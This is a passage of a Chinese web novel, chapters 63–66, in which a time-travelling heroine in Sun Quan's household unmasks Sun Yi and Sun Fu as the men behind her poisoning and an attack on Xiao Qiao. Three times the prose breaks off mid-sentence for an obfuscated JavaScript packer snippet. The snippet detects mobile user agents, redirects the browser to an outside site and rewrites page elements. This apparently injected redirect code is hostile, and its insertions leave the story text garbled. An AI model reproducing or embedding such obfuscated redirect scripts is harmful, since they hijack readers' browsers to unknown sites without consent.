待大夫离去,孙权转身步入厢房。步一乔靠坐榻上,面无血色,失掉血色的脸苍白憔悴,两眼无光地盯着上虚无处。 方才门外的话,虽听得不够真切,不过重要的字眼倒是听清了。 “一乔。” 她眼皮都没抬一下,只是将脸微微转向内侧。 “走开,我不想看到你。” 孙权走到她身边坐下,端起药,将勺子递到她嘴边。 “先把药喝了。” “我不想跟你说话,也不想看到你,走。” 孙权动作顿住,看着她,而后将汤匙慢慢放回碗中,把药碗轻轻搁在一旁的矮案上。 “巳时会启程前往会稽,半月方归。府中上下都已打点妥当,若有需要,尽管吩咐。” 步一乔依旧沉默,仿佛没有听见。 “身子要紧,按时服药,乖乖等我回来。” 孙权刚要起身,余光瞥见她眼角划出的泪痕,身体一顿,又坐了回去,伸出手,用指腹轻轻揩去那湿痕。 “那是我的第一个孩子……我的第一个亲骨肉啊……” 压抑太久,等到大夫离去,吴夫人也折身离开,步一乔终于敢放肆呜咽出声,肩膀开始控制不住地微微发抖。 她隐约猜到下药之人是谁,也猜得到缘由。这可是未来吴国皇帝的长子,必然会影响后续历史。好在胎儿尚未成形,以这个时代的医疗条件虽难挽回,但若在现代,或许还有转圜的余地。 下药之人,定是算准了一切动的手。 她需要做些什么,来确认自己的猜测。 “也是我的第一个孩子。”孙权郑重道。 “她没了……尽管不愿生,但我还是期待过她是男孩,还是女孩……”步一乔的声音被抽噎打断,“她怎么就这样没了……孙权……为什么……她是不是不喜欢我……不想见到我……” 孙权倾身过去,将她不断颤抖的身体整个拥入自己怀中。 “或许,她想晚一点来到人世间。躲过乱世,安康顺遂地长大。” “可是……”步一乔将脸深深埋下去,“你之所以决定娶我,不正是因为这个孩子吗?” 孙权搂着她的手臂微微一僵,他松开些许,低头看向她湿润的眼睛。 “此话从何讲起?” “自知我怀孕后,你便决意要娶我为妻。在那之前,你虽提过,却从未……从未如此急切。” 孙权沉默片刻,忽地无奈轻笑,指节分明的手轻抚过她散落的鬓发。 “原来是担心这个。提亲是早晚的事,即便没有这个孩子,我孙权想娶的,始终只有你步一乔一人。” 他捧起她的脸,目光灼灼如星。 “我之所以急切,是怕你多想。与你有关之事,我自然是听你的。我要的……只是你留在我身边,让我护着你。” 步一乔怔怔地望着他的眼睛,本想回抱住他,可心一横,缩进被窝将自己藏起来,万不可泄露自己哭诉的缘由。 “不是要去会稽吗?快走吧。” 孙权俯身,轻轻拉下她头顶的被褥,在她额角落下一个温热的吻。 “好好养身子,若是寻我,只管差人来信,我即刻赶回。” 帘栊轻响,他的脚步声渐远。步一乔这才从被中探出头来,望着微微晃动的门帘出神。 身子相比几日前出事缓和不少,她对来去匆忙的孩子惋惜,但更在意到底何人害自己。 “本以为是你自己杀了你的孩子……但方才看着你的眼睛,结论又被推翻了。” 孙权的眸子是特别的,尤其对步一乔而言。无论何时何地,只要注视片刻,便能辨别出。 以为是教授为了阻止步一乔改写历史,下了狠手,看来不是他。 “呵,我竟怀疑他会伤害我……”步一乔苦笑。一个挨过她的刀子却毫不记仇的人,怎么可能狠心至此,害她到这般田地。 既如此,那便重新推理。 下药之人,必定对孙权了如指掌。既能自由出入孙府内院,孙权前脚刚走他随后便到。明明起了杀心,却在最后关头心软道歉。 “一个既想害孙权,却又念及情谊,终究狠不下心做绝的人……会是谁?” 孙权继位初期,确实处在四面楚歌的困境。 正史记载,孙策死后,最有资格接班的宗室成员是孙贲。他此前已被朝廷任命为豫章太守,有地盘和兵力。孙策临终前,张昭等人皆曾提及孙贲,但孙策坚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16754872|185506||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 决选择孙权,认为他这个二弟能力更胜。 “会是孙贲吗?但他年长孙权,那人的眼睛看上去,似乎比孙权年轻一些。”步一乔喃喃道,“莫非是孙策的旧部?不大可能。” 孙氏霸业是靠武力打下的,孙权的性子与孙策截然不同,尽管是伯符临终前亲口指定的继承人,可江东上下期盼的,是一个如孙策那般锐意进取的领袖。 若非张昭力排众议,坚持按照孙策的遗命,拥护孙权上位,他不能坐稳主公之位,直至称帝。 步一乔掀开锦被,赤足踏在冰凉的地板上。刺激一下头脑更清晰。推理面前,病痛不足为惧。 “莫非是孙府的人?自家人?力争江东之主……孙翊?” * 孙权与孙翊,相差一岁的兄弟,自幼一同在长兄孙策的羽翼下成长,眉眼间有几分相似,骨子里的性情却截然不同。 孙策临终托付江东之际,张昭等重臣思及未来,曾谨慎进言,认为三弟孙翊性情果决刚猛,酷肖孙策,或更能震慑四方豪强,稳住基业。然而,这个提议被孙策断然拒绝。 孙翊严厉暴躁,步一乔虽未曾与之接触,但从孙权偶尔的提及中,能感知到兄弟之间并无矛盾,一柔一刚,各自安然。另外,孙翊对其夫人徐氏颇为敬重。徐氏擅长占卜,他每逢大事,常请夫人起卦问卜。 “此事,不太像孙翊自己的决断。”步一乔脚尖轻点地面,思绪渐明,“怕是有人暗中胁迫,逼他走出这一步,不得不为?” 无端猜忌他人终究不妥。她沉下一口气,打算寻个更体面的法子试探虚实。 “嫂嫂!我来陪你啦!” 孙尚香人未至声先到。 “今日训练结束了?”步一乔抬眸笑问。 少女在她身边坐下,潇洒地翘起腿,得意道:“跑了整整三里地!要不是突然落雪,母亲非要我回来,我还能再跑三里!” “跑那么远作甚?” “练腿呀!将来飞檐走壁,才不至于脚滑,再摔下来。”她说着,自己先笑了起来。 步一乔忍俊不禁:“待我病好了,陪你一起跑。” “真的?!那可说定了!”孙尚香欢喜地挽上她的手臂,“不过……等嫂嫂病好,第一件事,不该是与我二哥成婚吗?” “此事——” “好嫂嫂,你就应了吧!”孙尚香晃着她的手臂,“我二哥相貌英俊,气度出众,最重要的是,他若是不娶你,怕真要孤家寡人一辈子了!” “不会的。”步一乔轻轻摇头,目光垂落,“他身为江东之主,联姻是必然之举。他的身份,注定不能任性而为。娶我,于他一统江东毫无助益,只会徒增非议。” 是啊,江东新主放着各大世族的贵女不娶,偏要娶一个来历不明的逃难女子,传出去岂不沦为笑谈?吴夫人虽看出孙权对她的情意,却也从未提起婚嫁之事。想来也是不愿儿子因私情而误了大局。 “会的会的!”孙尚香不依不饶,“你看二哥都这般年纪了,好不容易对谁动了心,嫂嫂可不能丢下他不管啊!” 步一乔被她逗得一笑:“听你这话,倒像是我要逃婚似的。” “那不如……”孙尚香眼睛一亮,凑近了些,“嫂嫂开个条件!我去跟二哥说道,如何?” 此话倒是点醒了步一乔。 “好啊!那你帮我找一样东西,若是找到了,我便认真考虑你二哥的事。” “嫂嫂只管吩咐!万死不辞!” 步一乔倾身向前,“去你三哥的厢房,找一件玄色的夜行服。” 孙尚香脸上的笑意瞬间凝固,眼中满是错愕:“……啊?” 64. 弦丝万缕 孙尚香万万没想到,步一乔会提出如此古怪的要求。三哥孙翊的厢房?夜行衣?这和她想象中那些风花雪月的条件相去甚远。 “嫂嫂要那东西做什么?” “虽然是我随口一说,但若真找到了,不觉得很刺激吗?” “刺激……相当刺激!交给我,嫂嫂放心!但凡是同一个色的,我都给嫂嫂找出来!” 孙尚香利落地翻身下榻:“我这就去准备!趁着三哥和二哥去会稽,保证神不知鬼不觉!” “等等!孙翊也去了?”步一乔揉了揉自己还疼的小腹,斟酌后道,“我尽量不拖后腿,带上我!” 卧床静养了几天,加之步一乔根本无法待在厢房等消息,倒不如协同作战,亲眼确认更靠谱。 孙尚香犹豫地看向她虚弱的身子,“可嫂嫂你……二哥回来会生气的。” 步一乔强撑着站起身,“别管他,冲!” 孙尚香被感染,顿时将顾虑抛到脑后,兴奋地握紧拳头:“冲!” * 月黑风高夜,正是潜伏时。两道黑影悄咪咪地溜到了孙翊厢房的后墙根下。 该说不愧是孙尚香,对巡逻守卫的路线了如指掌,每一步都恰到好处地避开了巡夜的家丁。 两人躲在假山后面,孙尚香指了指前方尚未点灯的厢房。 “嫂嫂,前面就是三哥和三嫂的厢房,我走前边儿,你跟紧我!” “收到!” 步一乔刚说完,忽然腹间一阵隐痛,不得不停下缓缓。就这么一耽搁,孙尚香已经灵巧地钻进空无一人的厢房,消失在眼前。 无奈,步一乔只得找了个石凳坐下等待,顺便望风。刚坐下不久,身后传来脚步声,一个温婉的声音响起: “步姑娘深夜为何在此?” 步一乔倏地抬头,月光下,淡紫衣裙的女子正含笑望着她,正是孙翊的夫人徐氏。 “徐、徐夫人!”她故意唤得大声,好让室内的孙尚香听见,“药性大了些,睡不着,出来走走。不曾想,迷了路。” 好拙劣的借口,不过勉强说得过去。 徐夫人温婉一笑,道:“夜深露重,姑娘身子尚未痊愈,还是当心些好。我方才卜了一卦,卦象显示今夜会有贵客临门。没想到,应在了姑娘身上。” “是、是吗……其实,我一直想抽空请夫人为我算一卦,不知夫人现在可否有空?” “当然。步姑娘屋内请。” “屋内?!”步一乔差点咬到舌头,“呃……室外吧,灵气充沛,算得更准确些。” “想不到步姑娘也精通占卜之术?” “谈不上精通,不过曾在乡里见过几个神棍……不是,是几位高人。”步一乔一边胡诌,一边竖起耳朵留意动静。 厢房内突然传来一声碰撞声,像是有人不小心踢到了什么。 徐夫人眸光微动,却依然保持着得体的微笑:“看来今夜除了步姑娘,还有别的‘贵客''呢。” 步一乔正想着该如何解释,徐夫人却忽然掩口轻笑:“许是府上那只野猫又溜进去了。步姑娘既然想在室外占卜,那便依你。不知姑娘想算什么?” “算……算人!”步一乔急中生智,“我与好友走散,想知道她在哪里!” “乐意之至,步姑娘这边请。” 徐夫人优雅地做了个手势,引步一乔走向院中的石桌。 “请姑娘在心中默念好友的容貌与姓名。”徐夫人取出三枚铜钱,神色庄重。 步一乔配合地闭上眼睛。 就在这时,厢房的窗户悄无声息地开了条缝,一个黑影利落地翻了出来,对步一乔比了个成功的手势,随即隐入假山后。 步一乔松了口气,睁开眼睛,好奇地问:“夫人,可算出来了?” 徐夫人凝视着桌上散开的铜钱,道:“姑娘这位好友……有些许特别呢。” “夫人此话怎讲?” “此人现在北方,尚且安康。不过卦象指示,数年内,空有劫难。此难或家破人亡,但姑娘的好友,却能因其美貌,而化险为夷。” “真的?!” 若卦象可靠,甄霖当真穿越到建安年间,替代了甄宓。算算拜托张昭送去的信也该到了,倘若真是甄霖,以她的英语水平定能看懂自己写的内容。 “步姑娘很担心这位友人?”徐夫人问道。 “嗯……又在北方,我没法去寻她,亲眼确认她的安全。” “为何不可?” “啊?” 徐夫人浅浅一笑:“虽说是乱世,但南北之间的商贸往来并未中断。步姑娘若真想去,有的是法子。” “话是这么说……”可孙权怎会允许她去北方?定然不会。 “是担心二哥阻拦?” 步一乔颔首,“眼下的状况,别说北方了,怕是连吴郡他都不许我离开。” 徐夫人浅笑着将铜钱收拢,道:“要我替姑娘算算姻缘吗?” “姻缘?不必了吧。” “此事天知地知,你知我知,没姑娘允许,我不会告诉任何人。” 步一乔心中暗笑:是徐夫人自己想知道卦象吧。 “那便麻烦夫人了。” 徐夫人垂眸凝神,月光为她的侧脸镀上一层清辉,平添几分神秘。 “离为火,坎为水……水火既济,却是未济之象。姑娘这段姻缘,看似水到渠成,实则暗藏变数。” 步一乔心头微动:“愿闻其详。” “卦象显示,姑娘与此人确是命定的缘分,相伴此生。不过……”徐夫人目光深邃,“此缘分并非姻缘,相守白头,或许是另一种身份。” “夫人是说,我与那人最终不会成为夫妻?” “天机不可尽泄。世间最长久的关系,未必一定是夫妻。有时以知己、挚友、同盟的身份相伴,反而能走得更远。” 徐夫人意味深长地看了步一乔一眼:“就像这江东基业,靠的从来不只是姻亲关系。” 步一乔若有所思。徐夫人这番话,似乎另有所指。 “夫人卦象中的人……是我心中所想的那人吗?” “或者说,姑娘此生的姻缘线,只与他一人牵连。” 步一乔内心雀跃,颔首道:“多谢夫人。” 月光流转,徐夫人收起铜钱,忽然轻声道:“卦象是死的,人心是活的。姑娘与那人的缘分,终究由你们自来定。好了,你身子尚未痊愈,我从你回房。” “嗯……谢谢徐夫人。”步一乔顺从地起身,不忘朝假山方向使了个眼色,示意孙尚香见机行事。 二人沿着回廊缓步而行,走到厢房门前,徐夫人突然拉住步一乔的手,道:“成就霸业,虽并非全然与姻亲相关,但不得不有。男人三妻四妾,为的不止是自己欢愉,还有千秋万代。” 步一乔不明白徐夫人为何突然说这番话,只道:“夫人说得是。” 徐夫人深深看了她一眼,不再多言,转身离去。 待那抹身影消失在回廊尽头,步一乔合上门扉,孙尚香当即出现,得意地捧着那件夜行衣。 “嫂嫂,得手!” 步一乔接过衣裳,凑到鼻尖深嗅,与那日谋害自己之人的味道一模一样。 果然是孙翊。 “不过嫂嫂怎会知道三哥房中有这身行头?” “猜的。” “猜这么准?!”孙尚香瞪大眼睛,“嫂嫂莫非也会算命?” 步一乔将夜行衣仔细叠好,唇角微扬:“不是算命,是算人心。有些冷了,想和我去生堆火暖和暖和吗?” “是要烧了吗!好!” 两人一前一后溜进膳房。步一乔将夜行衣塞进灶孔,孙尚香熟练地升起火。 橘红的火苗蹿起,渐渐将衣物吞噬。她们并肩坐在灶前的小凳上,感受着暖意驱散夜寒。 “嫂嫂,答应你的事完成了,你答应我的,可别忘了。”孙尚香靠在步一乔肩头,声音渐渐含糊。 “一言既出,驷马难追。”步一乔轻抚她的发丝,看着火光在少女英气的脸上跳跃。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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小乔露出一个“你不是很清楚嘛”的表情,执起步一乔的手柔声道:“有你这份心便好。放心吧,夫君护得比你还紧,不会出什么事。” 步一乔不多言,俯下身侧耳贴上小乔的肚子。 “外甥女啊,七个月后要平安降生啊。姨会保护好母亲的!” “外甥女?是女儿?”小乔惊奇。 步一乔意识到自己说漏了嘴,支吾道:“是……吧。我猜的。” “女儿好,”小乔轻抚腹部,眼底含笑,“像夫君,定是个聪慧伶俐的姑娘。” 步一乔看着小乔沉浸在幸福中的侧脸,将所有的担忧与算计暂时压在心底,面上只露出一个温和的笑意。 又陪小乔说了会儿话,直到侍女提醒该用药,步一乔才起身告辞。 返回孙府,步一乔发现白日里随手放在案几上的竹简,被人挪动了位置。被她压在竹简下焚烧过的碎布消失了。 “这么快就坐不住了?” 步一乔的厢房一墙之隔便是周府,恰在此时,隔壁突然传来尖叫声。 是小乔! 不及思考,步一乔已经冲向周府。 一蒙面黑衣人扛着不断挣扎的小乔,从周府冲出。 “站住!” 步一乔疾冲而上,抓住贼人的胳膊。那人反手一刀劈来,她侧身闪避,刀锋却仍划过她的左臂。 剧痛让她差点松手,但她咬紧牙关,受伤的手臂死死缠住黑衣人的腿。 “嫂嫂!我来帮你!”孙尚香的清叱划破。 就在黑衣人举刀再刺的瞬间,一道银芒破空而来,孙尚香的长剑精准架住了致命一击。 “快先带乔夫人走!”步一乔忍痛喊道,仍死死拽着黑衣人的衣襟。 孙尚香会意,拉过惊魂未定的小乔护在身后。黑衣人见势不妙,抬脚踹在步一乔手臂的伤口上,挣脱纠缠翻身上马。 马蹄声疾驰而去。孙尚香正要追击,却见步一乔踉跄跪地,臂上鲜血已染红地面。 “嫂嫂!”她急忙转身扶住步一乔,却听见怀中人急促的低语。 “需即刻通知周瑜,我知道想害小乔的人是谁了!” 65. 松窗棋罢 侍女递上打湿的热布巾,坐在榻边的孙权顺手接下,耐心替步一乔擦拭面部。 “往后远行,我是不是都该把你带上?免得我转身一走,你就安分不下来,又把自己弄伤。” “情况紧急嘛……没办法的事。” 步一乔看着孙权愁眉苦脸的样子,刚想伸手去揉他的眉心,忘了手臂有伤,疼得一声叫唤。 见她疼得蹙眉,孙权下意识就想伸手去安抚,可指尖刚到眼前,步一乔却忘了自己的伤,急急抬手想挡开他关心则乱的手。 “呃啊——”动作幅度太大,剧烈的抽痛让步一乔叫出声来。 孙权的手立刻悬在半空,旋即稳稳扶住她受伤的手臂,“疼吗?” 步一乔委委屈屈地抬眼,老实点头:“疼……” “活该。” “你——” “谁叫你不长记性。两府上下那么多人,非得自己冲上去?若不是尚香恰巧路过看见,伤的又岂止是手臂?” 孙权叹了口气,指尖终是落在紧蹙的眉心上,极轻地揉了揉。 步一乔放软声音和态度,用没受伤的手轻轻拽了拽他的衣袖。 “好啦,我知道自己太冲动,你也别生气啦。再说下去……我就得生气了。” “你呀……”孙权被她恶人先告状的模样弄得没了脾气,只能无奈摇头,“到底谁才是年长那个?” “唔……是我。” 步一乔二十一,孙权十九。 “谁叫你老是欺负我!弄得姐姐一点威严都没有!” “到底是谁欺负谁?初见分明是——” 步一乔眼尖瞥见门外似有侍从身影走过,心下着急,也顾不得伤,倏地抬手捂住孙权的嘴,同时吃痛哀嚎:“啊!好痛!你看!明摆着你欺负我!” 孙权先是一愣,随即实在没忍住,在她在掌心下闷闷地笑出声。 待那脚步声确实远去,步一乔才松了口气,讪讪地收回手。 孙权看着她微微泛红的脸颊,也不再继续先前的话题,只是眼底的笑意还未完全散去。 步一乔定了定神,目光掠过他年轻却已初具威仪的脸庞,神色认真起来:“此前你说,知晓了两种结局,那过程呢?江东这几十年间发生了哪些事,你都一清二楚?” “怎会?来去匆忙,又时隔久远,只记得曾与你提过的那些。” “真的?”步一乔眉眼间尽是怀疑,“鉴于你之前骗过我,我深表怀疑。” 孙权轻笑。 “这次是真的。跟着兄长征战这些年,看过生死,经历聚散,远比那些模糊的‘已知’更真切。未来的路……”他深深看着步一乔,“需要一步步去丈量,岂能寄托于虚无的预言?” “尽说些冠冕堂皇的话……”步一乔无心揶揄,不再追问,“那下次你丈量前程的时候,记得叫上我。我负责改写历史,你负责撰写历史。” “两者,不是背道而驰?” “不许顶姐姐的嘴!”步一乔佯怒瞪他,“另外,姐姐命你接下来的日子专心治理江东,追查凶手一事,就交给我了。” “不行。” 果然一谈及凶手,孙权立刻收敛了笑意。明明步一乔瞅准了时机才敢抛出的。 “我心中已有目标,只需搜集证据,便可——” “然后又弄一身伤吗?”孙权直言打断,“为何不肯乖乖待在我身后,让我全全护着你呢?” “因为……闲不住。” “什么?”孙权没听清,或者说不敢相信自己的耳朵。 步一乔索性破罐破摔,理直气壮地重复:“因为闲不住啊!这年代什么都没有,没游戏没书看,我真不知道做些什么解闷。追查凶手好歹能活动筋骨,动动脑子嘛。” “追查凶手叫解闷?”孙权简直气结。 “安心啦,这次不会受伤的,我保证!”她信誓旦旦举起受伤的那只手,又疼得叫唤。 “你的保证从来不奏效。”孙权毫不留情地戳穿,想起她次次这般信誓旦旦。 步一乔被堵得语塞,眼珠一转,忽然凑近他面前。 “那……若你应了我,事成之后,我搬你房里住,如何?” 孙权安静看着近在咫尺一脸期待的步一乔。 “我们这些日子,本就一直宿在一处。” “唔——那换一个!你想要什么?只管告诉姐姐!” 她话音刚落,便见孙权微微前倾,拉近了那本就呼吸可闻的距离。 “我要你,做我夫人。” “……” 步一乔所有准备好的俏皮话和讨价还价,瞬间卡在了喉间。这招猝不及防打得着实好,她眸子眨了又眨,竟一时忘了该如何回应。 “不说话,就当你答应我了。”孙权眼底泛起笑意,轻抚她的发顶,“绝不可做危险之事,江东上下随你差遣,但若有半分损伤……” 他顿了顿,目光在她缠着绷带的手臂上一扫。 “这婚事,可就要提前操办了。” 步一乔终于回过神,羞恼地抓起软枕掷向他:“你、你这是逼婚!以权谋私!” 孙权轻松接住软枕,唇角微扬,将软枕仔细垫回她腰后:“我这是对夫人……表达万分的信任与期待。” 虔诚的吻落在步一乔额间。 “所以,请务必完好无损地回来。” * 手臂裹着纱布耷拉着,步一乔看着眼自己的装扮,索性捞过剩余的纱布裹在额头。务必把自己包装得命不久矣的样子。 而后,步一乔便静静地靠坐在床榻上,等待某人。 “步姑娘,我来看望你。” 来了! 步一乔立即剧烈咳嗽起来,一边“艰难”地试图起身。孙翊之妻徐夫人见状快步上前轻轻按住她。 “怎会伤得这般重?听闻姑娘为救乔夫人,奋不顾身……如今府内上下,无不感佩姑娘的义勇。”徐夫人看着步一乔满身的纱布,眉宇间满是真切担忧,“额头也伤着了?但愿不会留下疤痕。” “多谢夫人挂念,还特地来看我。我与乔夫人情同姐妹,岂能坐视不理。只是没想到,贼人如此猖獗,竟敢在孙府周府之间行凶。” 步一乔抬起眼,看向徐夫人。看似无意,实则试探。 “说起来,那贼人的身形动作,不知怎的,总让我觉得有些……眼熟,仿佛在府中哪里见过一般。夫人平日出入,可曾留意过什么形迹可疑之人?” 徐夫人执起茶壶,为她斟了杯温水,动作没有丝毫停滞,脸上依旧是得体的微笑。 “府中护卫森严,往来皆是登记在册之人。若说形迹可疑……我倒未曾留意。” “这么说,是家贼?” 步一乔接过杯盏,眼睛没有一刻离开徐夫人。轻轻抿了口水,状似无意道:“还有一事,说来奇怪。那日我虽被其所害,但昏迷前,听到那人对我说了声‘抱歉’。” 她刻意顿了顿,清晰地看到徐夫人执壶的手几不可查地顿了一下,虽然只有一瞬,便恢复了正常。 “哦?”徐夫人抬眼,“这倒真是奇了。行凶害人,竟还会心生歉意?莫非……此人并非穷凶极恶之徒,而是受人胁迫,不得已而为之?” “夫人也这么认为?想不到你我二人如此默契。” 步一乔目光灼灼地看向徐夫人。徐夫人波澜不惊地回望步一乔。 “夫人素来聪慧,又精于卜算,依您看,这幕后之人,会是谁?” 徐夫人莞尔一笑,道:“步姑娘这语气不像在询问,倒似心中有数,来与我对质?” “对质倒不是,我虽有怀疑,但不敢断然。想听听夫人的意见。” 徐夫人闻言,垂眸浅笑。 “卜算之术,窥的是天机,测的是大势,却最难算的,是人心。” 她抬起眼,目光清亮。 “我只能说,姑娘所疑之人,或许是一把刀,但执刀之人……藏在黑暗里。” 步一乔心下一凛,追问道:“夫人是说,幕后之人并非我怀疑的那位?另有其人?” “是与不是,重要吗?”徐夫人微微倾身,“关键在于,它伤了姑娘,意图撼动周郎,目标明确,且计划周全……是想折断支撑江东的梁柱啊。” “可夫人不觉得奇怪吗?整个江东,几乎没人知道我腹中的孩子是孙家血脉。就连吴夫人都以为,是我逃难前与亡夫怀的。” 兜兜转转几圈,步一乔这句话终于让徐夫人脸上的温婉面具,出现裂痕。 徐夫人执杯的手彻底顿住了,抬眼看向步一乔。 “此事,除了我与主公,本不该有第三人知晓。我百思不得其解,猜想是那日我将怀孕一事告诉主公时,隔墙有耳。当时在议事厅门外,门内有周瑜、张昭、鲁肃,以及……” 步一乔浅笑。 “孙翊。” “绝非是夫君!夫君一无所知!”徐夫人放弃之前的迂回,直言道,“姑娘可认得孙辅?” “孙辅?是主公的哪位宗亲?我入府日短,许多人还认不全。” 徐夫人微微颔首,道:“夫君堂兄,手握兵权,驻防西线。他……曾多次在宗室宴饮时,讥讽二哥无能治理江东。” 步一乔适时露出震惊之色:“竟有此事?!” “更重要的是,他与夫君……素来不睦。半年前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16791335|185506||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 曾因军务分配之事,在议事厅上当众羞辱过夫君。尤其大哥离世后,私下屡次拿夫君与二哥对比,羞辱二人。” 步一乔立即抓住了关键:“所以夫人怀疑是孙辅?是分析得出,还是怀恨在心?” 徐夫人脸上的血色褪去几分,沉默了片刻,再开口时,难掩艰涩。 “姑娘……果然心如明镜。于公,孙辅确有动机与能力;于私,我无法不恨他利用我夫君,将他置于如此险境。” 步一乔没想过把人逼到这般地步,翻身下榻,递了绣帕给徐夫人,走到门口张望四周,确认无人后关紧房门。 “夫人是知道了我把三公子的衣裳烧毁之事而来的吧?” “是……夫君日夜担忧,我便来……试探姑娘。” 步一乔轻笑,“放心吧,我自是知道你夫妻二人并非主谋,才主动替你们销毁证据的。你们也真是,不该早点烧了吗?留在房中,就不怕孙权真挨着搜,把人揪出来?” “步姑娘,我今日前来,我不求你原谅夫君,只求你看在夫君是主公的亲弟弟,若真有东窗事发那一日,请在主公面前,为他陈情一句……他性子虽烈,但对基业从无二心!” 步一乔看着她眼中真切的痛苦,知道这不再是演戏。徐夫人此刻,只是一个试图在风暴中保住丈夫的妻子。 “我知道。所以,孙辅拿捏了三公子的什么软肋?” 徐夫人嘴唇颤抖了下,斟酌再三低声吐露:“……是我。我的母族在江北,孙辅挟持母族,以全族性命要挟。” “孙辅没这能耐,倒是他背后的人……诛灭九族轻而易举啊。” “姑娘已知晓幕后之人?!”徐夫人震惊。 步一乔感慨:“如今天下,除了曹孟德,难找第二人啊。” 历史与推理在此刻严丝合缝地对接上:孙辅通曹,并以徐夫人母族胁迫孙翊,意图制造混乱,一石二鸟。 “夫人今日坦诚相告,于我而言便是雪中送炭。我向你保证,若三公子确实是被胁迫,且未造成不可挽回之后果,我必尽力向主公说明原委,保他周全。” 说完,步一乔不禁笑了笑。 “我替三公子销毁证据,早已是帮凶,现在,我们是一条船上的人了。” 徐夫人怔怔地看着她,眼眶蓦地红了。这一次,不再是表演,而是劫后余生般的、真实的动容。她紧紧握住步一乔没有受伤的那只手。 “姑娘……大恩……” “现在不是说这些的时候。”步一乔反手轻轻回握了她一下,神色转为凝重,“当务之急,是稳住船身,除掉水下凿船的人。夫人,我需要你帮我。” “姑娘但说无妨!” “第一,关于孙辅胁迫三公子的具体‘安排’,你知道多少?他除了让三公子的人行凶,可还有别的指令?三公子手中,可有孙辅通曹的实证?” 徐夫人蹙眉思索片刻,快速答道:“具体安排,夫君怕我担忧,并未尽数告知。但孙辅确曾数次派人传信,信使皆是生面孔,偏北方口音。” “想来是曹操派给孙辅的细作了。”步一乔抬手抵着下颌沉思,“那些密信可有留存?” “皆是口头传信。” “只是三公子这里没有,毕竟孙辅和曹操联络,是有存档的。”有史可鉴,步一乔无需进一步猜疑。 徐夫人没打听懂步一乔的话,懵懂地望着认真思考的她。 “往后若再有人来信,劳烦夫人第一时间告知我。劝住三公子,绝不可再受孙辅挑唆,届时他就算再被逼无奈,也无法挽回了。” “我明白!”徐夫人用力点头,“姑娘放心,夫君向来听我的。” 猝不及防被秀了恩爱,步一乔不禁挑眉,问道:“夫人把三公子调教得很好啊,有什么办法吗?” 徐夫人掩唇轻笑,颊边泛起淡淡的红晕:“哪有什么秘诀。不过是成婚这些年,夫君格外爱黏着我罢了。” “真好。”步一乔叹了口气,“我所知道的孙家人,各个妻管严。除了……某人。” 孙坚将军素来听从吴夫人,孙翊也对徐夫人言听计从。若是自己真与孙权成了婚,怕是要成为这个家里的例外了。 徐夫人被她这话逗得掩唇轻笑:“姑娘口中的‘某人’,莫非是二哥?说来,等你二人成婚,日后我得叫你二嫂呢。” 步一乔耳根微热,别开脸去:“没决定成亲呢……” 徐夫人笑意更深,“那日替姑娘占卜,我已算出二哥与姑娘婚期在即。卦象显示,红鸾星动,乃是天作之合。” “恐怕,要让夫人失望了。” “是么?那,拭目以待?此番,必是天命难违。” 66. 关于缠绵 “我伤势已痊愈,正好都督在,有事想同主公商量。” 议事厅内,步一乔立于堂中,周瑜静坐一侧,孙权端坐于前。 孙权蹙眉不解她今日又是哪一出,道:“且先说与我听听。” “我要搬去周府住。” “咳。”周瑜莫名其妙咳嗽一声。 孙权蹙眉更深。 “……为何?两府仅一墙之隔,为何偏要搬去周府?” 步一乔悄无声息瞪了眼偷笑的周瑜,理直气壮地抬头道:“自然是向都督请教音律。他琴艺冠绝江东,我既想学,自然该住得近些,早晚请教才方便。” 周瑜又轻咳一声,优雅地挺直背肌,整理衣襟。却对上孙权目光后,旋即泄气。 “说实话。”孙权自然晓得步一乔不是去学什么音律,定有别的目的。 “想日夜守在乔夫人身边,护她周全。之前的事若非来得及时,后果不堪设想。” “日夜?”周瑜轻笑道,“夜里就不劳烦步姑娘了。若只是白日相伴,也不必劳烦搬来隔壁。” “来来回回的多麻烦。”步一乔眨眨眼,“我保证不会打扰都督和乔夫人——” “不行。”孙权斩钉截铁地打断,“我不同意。” “为什么?”步一乔不服气地仰起脸。 孙权站起身,一步步走到停在步一乔跟前,垂眸看她。目光先是落在她仍缠着纱布的手臂上,继而望进她眼里。 “其一,你连自己保护不好,如何保护乔夫人?其二,自家夫人,没有住别家的道理。况且,你这哪儿算痊愈?纱布未拆,汤药未断,每日还需换药。这般模样住到别人府上,到底是你在照顾别人,还是要劳烦周府上下照顾你?” 他微微俯身,与她视线平齐。 “而且离了你,我夜里睡不安稳。” 步一乔抿紧唇,第一反应是去看一旁默不作声专心看戏的周瑜。对上视线,周瑜立即识趣地挪开目光,专注地研究起墙上的舆图。 “此事我与都督已商量出决策,你先顾好自己的安危。” “我——罢了,此事我们之后再谈。”步一乔急忙转移话题,“眼下还有更重要的事要与诸位商议。可否请张昭先生一同前来?商谈曹魏——” 话说到一半,她忽然想起曾经询问孙策致使自己深陷怀疑的往事,心底泛起不安,不敢再说下去。 